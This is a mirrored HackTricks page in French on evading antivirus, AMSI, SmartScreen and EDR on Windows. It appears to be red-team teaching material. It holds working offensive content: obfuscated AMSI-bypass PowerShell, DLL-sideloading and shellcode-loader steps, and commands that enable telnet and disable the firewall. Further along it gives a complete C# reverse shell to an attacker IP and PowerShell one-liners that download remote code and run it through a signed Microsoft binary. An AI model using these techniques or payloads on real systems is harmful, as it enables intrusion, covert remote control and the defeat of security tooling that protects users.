Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 16:10:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/av-bypass.md

37 KiB
Raw Blame History

Contournement de l'antivirus (AV)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Cette page a été rédigée par @m2rc_p!

Méthodologie d'évasion de l'AV

Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique, et pour les EDR plus avancés, l'analyse comportementale.

Détection statique

La détection statique est réalisée en signalant des chaînes malveillantes connues ou des tableaux d'octets dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, le checksum, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques façons de contourner ce type de détection :

  • Chiffrement

Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un type de chargeur pour décrypter et exécuter le programme en mémoire.

  • Obfuscation

Parfois, il vous suffit de modifier quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obfusquer.

  • Outils personnalisés

Si vous développez vos propres outils, il n'y aura pas de mauvaises signatures connues, mais cela prend beaucoup de temps et d'efforts.

{% hint style="info" %} Une bonne façon de vérifier la détection statique de Windows Defender est ThreatCheck. Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun individuellement, de cette manière, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire. {% endhint %}

Je vous recommande vivement de consulter cette playlist YouTube sur l'évasion pratique de l'AV.

Analyse dynamique

L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à manipuler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable.

  • Pause avant l'exécution Selon la manière dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter la pause en fonction de la manière dont elle est implémentée.
  • Vérification des ressources de la machine En général, les bacs à sable disposent de très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
  • Vérifications spécifiques à la machine Si vous souhaitez cibler un utilisateur dont la station de travail est connectée au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.

Il s'avère que l'ordinateur Sandbox de Microsoft Defender s'appelle HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.

source : https://youtu.be/StSLxFbVz0M?t=1439

Quelques autres très bons conseils de @mgeeky pour lutter contre les bacs à sable

Red Team VX Discord #malware-dev channel

Comme nous l'avons dit précédemment dans ce post, les outils publics seront éventuellement détectés, donc, vous devriez vous poser une question :

Par exemple, si vous voulez vider LSASS, avez-vous vraiment besoin d'utiliser mimikatz ? Ou pourriez-vous utiliser un autre projet moins connu qui vide également LSASS.

La bonne réponse est probablement la seconde option. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le logiciel le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, il est aussi un cauchemar pour travailler avec lui pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.

{% hint style="info" %} Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de désactiver la soumission automatique des échantillons dans Defender, et s'il vous plaît, sérieusement, NE PAS SOUMETTRE À VIRUSTOTAL si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique des échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat. {% endhint %}

EXE vs DLL

Chaque fois que c'est possible, priorisez l'utilisation de DLL pour l'évasion, dans mon expérience, les fichiers DLL sont généralement beaucoup moins détectés et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).

Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 dans antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.

Comparaison de antiscan.me d'une charge utile EXE normale de Havoc par rapport à une charge utile DLL normale de Havoc

Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus furtif.

Chargement latéral de DLL & Proxying

Le chargement latéral de DLL profite de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges malveillantes à côté l'une de l'autre.

Vous pouvez vérifier les programmes susceptibles au chargement latéral de DLL en utilisant Siofra et le script powershell suivant:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\" et les fichiers DLL qu'ils essaient de charger.

Je vous recommande vivement d'explorer vous-même les programmes vulnérables au détournement de DLL/Sideloadable, cette technique est assez furtive si elle est bien réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré.

Simplement en plaçant une DLL malveillante avec le nom qu'un programme s'attend à charger, votre charge utile ne sera pas chargée, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée DLL Proxying/Forwarding.

Le DLL Proxying redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.

Je vais utiliser le projet SharpDLLProxy de @flangvik

Voici les étapes que j'ai suivies:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

La dernière commande nous donnera 2 fichiers : un modèle de code source DLL et le DLL renommé d'origine.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Voici les résultats :

Tant notre shellcode (encodé avec SGN) que le proxy DLL ont un taux de détection de 0/26 sur antiscan.me ! Je qualifierais cela de succès.

{% hint style="info" %} Je vous recommande vivement de regarder la vidéo de S3cur3Th1sSh1t sur Twitch sur le DLL Sideloading et aussi la vidéo de ippsec pour en apprendre davantage sur ce que nous avons discuté en détail. {% endhint %}

Freeze

Freeze est une trousse à outils de charge utile pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives

Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais uniquement sur un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion. {% endhint %}

AMSI (Interface de numérisation anti-logiciels malveillants)

AMSI a été créé pour prévenir les "malwares sans fichier". Initialement, les AV étaient seulement capables de scanner des fichiers sur le disque, donc si vous pouviez exécuter des charges utiles directement en mémoire, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.

La fonctionnalité AMSI est intégrée dans ces composants de Windows.

  • Contrôle de compte d'utilisateur, ou UAC (élévation de l'installation EXE, COM, MSI ou ActiveX)
  • PowerShell (scripts, utilisation interactive et évaluation de code dynamique)
  • Hôte de script Windows (wscript.exe et cscript.exe)
  • JavaScript et VBScript
  • Macros Office VBA

Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non cryptée et non obfusquée.

Exécuter IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') produira l'alerte suivante sur Windows Defender.

Remarquez comment il ajoute amsi: puis le chemin vers l'exécutable à partir duquel le script s'est exécuté, dans ce cas, powershell.exe

Nous n'avons pas déposé de fichier sur le disque, mais avons quand même été attrapés en mémoire à cause d'AMSI.

Il existe quelques façons de contourner AMSI :

  • Obfuscation

Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection.

Cependant, AMSI a la capacité de désembrouiller les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est faite. Cela rend l'évasion pas si simple. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez bons, donc cela dépend de combien quelque chose a été signalé.

  • Contournement d'AMSI

Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en s'exécutant en tant qu'utilisateur non privilégié. En raison de cette faille dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter la numérisation AMSI.

Forcer une erreur

Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune analyse ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par Matt Graeber et Microsoft a développé une signature pour empêcher une utilisation plus large.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Tout ce qu'il a fallu, c'est une ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell actuel. Cette ligne a bien sûr été repérée par AMSI lui-même, donc des modifications sont nécessaires pour utiliser cette technique.

Voici une technique de contournement AMSI modifiée que j'ai trouvée sur ce Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Memory Patching

Cette technique a été initialement découverte par @RastaMouse et elle consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code E_INVALIDARG, de cette manière, le résultat de l'analyse réelle renverra 0, ce qui est interprété comme un résultat propre.

{% hint style="info" %} Veuillez consulter https://rastamouse.me/memory-patching-amsi-bypass/ pour une explication plus détaillée. {% endhint %}

Il existe également de nombreuses autres techniques utilisées pour contourner AMSI avec PowerShell, consultez cette page et ce dépôt pour en savoir plus à leur sujet.

Ou ce script qui, via le patch de mémoire, patchera chaque nouveau Powersh

Obfuscation

Il existe plusieurs outils qui peuvent être utilisés pour obfusquer le code en clair C#, générer des modèles de méta-programmation pour compiler des binaires ou obfusquer des binaires compilés tels que :

  • InvisibilityCloak: Obfuscateur C#
  • Obfuscator-LLVM : Le but de ce projet est de fournir une version open-source de la suite de compilation LLVM capable de fournir une sécurité logicielle accrue grâce à l'obfuscation de code et à la protection contre la falsification.
  • ADVobfuscator : ADVobfuscator montre comment utiliser le langage C++11/14 pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
  • obfy : Ajoutez une couche d'opérations obfusquées générées par le framework de méta-programmation de modèles C++ qui compliquera un peu la tâche de la personne voulant craquer l'application.
  • Alcatraz: Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
  • metame : Metame est un moteur de code métamorphique simple pour des exécutables arbitraires.
  • ropfuscator : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langages pris en charge par LLVM utilisant ROP (programmation orientée retour). ROPfuscator obfusque un programme au niveau du code d'assemblage en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
  • Nimcrypt : Nimcrypt est un crypteur .NET PE écrit en Nim
  • inceptor: Inceptor est capable de convertir les EXE/DLL existants en code shell, puis de les charger

SmartScreen & MoTW

Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables sur Internet et de leur exécution.

Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.

SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu commune déclencheront SmartScreen, alertant ainsi et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).

MoTW (Mark of The Web) est un flux de données alternatif NTFS portant le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL à partir de laquelle il a été téléchargé.

Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.

{% hint style="info" %} Il est important de noter que les exécutables signés avec un certificat de signature de confiance ne déclencheront pas SmartScreen. {% endhint %}

Une façon très efficace d'empêcher vos charges utiles d'obtenir le Mark of The Web est de les empaqueter dans une sorte de conteneur comme un ISO. Cela se produit car le Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes non NTFS.

PackMyPayload est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter le Mark-of-the-Web.

Exemple d'utilisation:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Voici une démo pour contourner SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO en utilisant PackMyPayload

Réflexion sur l'assemblage C#

Le chargement des binaires C# en mémoire est connu depuis un certain temps et reste un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par l'AV.

Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous n'aurons qu'à nous soucier du patch AMSI pour l'ensemble du processus.

La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :

  • Fork&Run

Cela implique de lancer un nouveau processus sacrificiel, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cette méthode présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit en dehors de notre processus d'implant Beacon. Cela signifie que si quelque chose se passe mal ou est détecté lors de notre action de post-exploitation, il y a beaucoup plus de chances que notre implant survive. L'inconvénient est que vous avez plus de chances d'être détecté par des détections comportementales.

  • Inline

Il s'agit d'injecter le code malveillant de post-exploitation dans son propre processus. De cette manière, vous pouvez éviter de devoir créer un nouveau processus et le faire analyser par l'AV, mais l'inconvénient est que si quelque chose se passe mal avec l'exécution de votre charge utile, il y a beaucoup plus de chances de perdre votre beacon car il pourrait planter.

{% hint style="info" %} Si vous souhaitez en savoir plus sur le chargement des assemblages C#, veuillez consulter cet article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ et leur BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Vous pouvez également charger des assemblages C# depuis PowerShell, consultez Invoke-SharpLoader et la vidéo de S3cur3th1sSh1t.

Utilisation d'autres langages de programmation

Comme proposé dans https://github.com/deeexcee-io/LOI-Bins, il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès à l'environnement d'interprétation installé sur le partage SMB contrôlé par l'attaquant.

En permettant l'accès aux binaires d'interprétation et à l'environnement sur le partage SMB, vous pouvez exécuter du code arbitraire dans ces langages en mémoire de la machine compromise.

Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go, Java, PHP, etc., nous avons plus de flexibilité pour contourner les signatures statiques. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.

Évasion avancée

L'évasion est un sujet très complexe, parfois vous devez prendre en compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.

Chaque environnement que vous affrontez aura ses propres forces et faiblesses.

Je vous encourage vivement à regarder cette présentation de @ATTL4S, pour vous initier à des techniques d'évasion plus avancées.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

Il y a aussi une autre excellente présentation de @mariuszbit sur l'évasion en profondeur.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Anciennes techniques

Vérifier quelles parties Defender considère comme malveillantes

Vous pouvez utiliser ThreatCheck qui supprimera des parties du binaire jusqu'à ce qu'il découvre quelle partie Defender considère comme malveillante et vous la divise.
Un autre outil faisant la même chose est avred avec une offre web ouverte du service sur https://avred.r00ted.ch/

pkgmgr /iu:"TelnetServer" /quiet

Faites-le démarrer lorsque le système démarre et exécutez-le maintenant:

sc config TlntSVR start= auto obj= localsystem

Changer le port telnet (furtif) et désactiver le pare-feu :

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Téléchargez-le depuis: http://www.uvnc.com/downloads/ultravnc.html (vous voulez les téléchargements binaires, pas l'installation)

SUR L'HÔTE: Exécutez winvnc.exe et configurez le serveur:

  • Activer l'option Désactiver TrayIcon
  • Définir un mot de passe dans Mot de passe VNC
  • Définir un mot de passe dans Mot de passe en lecture seule

Ensuite, déplacez le binaire winvnc.exe et le fichier nouvellement créé UltraVNC.ini à l'intérieur de la victime

Connexion inversée

L'attaquant doit exécuter à l'intérieur de son hôte le binaire vncviewer.exe -listen 5900 afin qu'il soit prêt à capturer une connexion VNC inversée. Ensuite, à l'intérieur de la victime: Démarrez le démon winvnc winvnc.exe -run et exécutez winwnc.exe [-autoreconnect] -connect <adresse_ip_attaquant>::5900

ATTENTION: Pour maintenir la discrétion, vous ne devez pas faire quelques choses

  • Ne démarrez pas winvnc s'il est déjà en cours d'exécution ou vous déclencherez une fenêtre contextuelle. vérifiez s'il est en cours d'exécution avec tasklist | findstr winvnc
  • Ne démarrez pas winvnc sans UltraVNC.ini dans le même répertoire sinon cela provoquera l'ouverture de la fenêtre de configuration
  • Ne lancez pas winvnc -h pour obtenir de l'aide sinon vous déclencherez une fenêtre contextuelle

GreatSCT

Téléchargez-le depuis: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

À l'intérieur de GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Maintenant démarrez le lister avec msfconsole -r file.rc et exécutez la charge utile xml avec :

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

L'antivirus actuel va terminer le processus très rapidement.

Compilation de notre propre shell inversé

https://medium.com/@Bank_Security/coquilles-inversées-c-c-indétectables-fab4c0ec4f15

Premier shell inversé en C#

Compilez-le avec :

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Utilisez-le avec :

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# en utilisant le compilateur

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Téléchargement et exécution automatiques :

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

Liste des obfuscateurs C# : https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Utilisation de python pour construire des exemples d'injecteurs :

Autres outils

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Plus

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks: